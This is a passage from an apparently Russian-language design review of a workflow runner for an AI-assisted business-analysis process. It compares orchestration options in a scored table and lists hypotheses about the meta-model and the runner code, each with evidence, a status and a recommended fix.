\u043d\u0430 \u0434\u043d\u0438;\\n209\\t\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n210\\t\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n211\\t\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n212\\t\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n213\\t\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n214\\t\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n215\\t\\n216\\t| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n217\\t|---|---------|----|----|----|----|----|----|----|----|------|\\n218\\t| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n219\\t| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n220\\t| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n221\\t| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n222\\t| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n223\\t| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n224\\t| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n225\\t| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n226\\t| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n227\\t| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n228\\t| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n229\\t\\n230\\t\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n231\\t[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n232\\t[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n233\\t\\n234\\t## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n235\\t\\n236\\t\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n237\\t[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n238\\t`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n239\\t[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n240\\t`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n241\\t[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n242\\t\\n243\\t### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n244\\t\\n245\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n246\\t|---|----------|----------------|--------|-------------|--------------|\\n247\\t| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, \u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n248\\t| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n249\\t| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n250\\t| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n251\\t| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L69) \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0448\u0430\u0433\u0438 \u0441\u043e `script_invoked`, \u0430 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 ([\u0413-29](#\u0433-29)). \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 ADR-018 \u00ab\u043c\u0435\u043d\u044c\u0448\u0435 95% \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\u00bb ([L55](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L55)) \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a\u0443.** \u0421\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0448\u0430\u0433\u0438, \u0433\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430 \u043f\u043e \u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 |\\n252\\t| \u0413-31 | \u041f\u0440\u043e\u0433\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c (`EP-R8`) | `halt` \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ([`run-task.py` L30](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L30)); `advance` \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043d\u0435 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `active` ([L199-L200](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L199-L200)); \u0440\u0435\u0431\u0440\u043e n7 \u2192 halt \u043f\u0440\u0438 `answers.count == 0` ([\u043c\u0430\u0440\u0448\u0440\u0443\u0442 L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0441 \u043d\u043e\u0432\u044b\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c (\u043e\u0442\u0432\u0435\u0442\u044b \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430); \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043b\u0438\u0441\u0442\u0430 \u043f\u043e `EP-R8` |\\n253\\t| \u0413-32 | \u041e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 runner \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 | `P12`: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0437\u043b\u0443 n9 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `task is blocked or finished`. \u041b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked` ([L143-L147](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L143-L147)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0442\u043b\u0438\u0447\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 (\u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u0435\u0431\u0440\u0430, \u043d\u0435\u0442 \u0444\u0430\u0439\u043b\u0430) \u2014 \u0435\u0451 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u043a\u0430\u0437 \u0433\u0435\u0439\u0442\u0430 \u2014 \u043e\u0442 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach. \u0414\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f: **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** \u2014 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 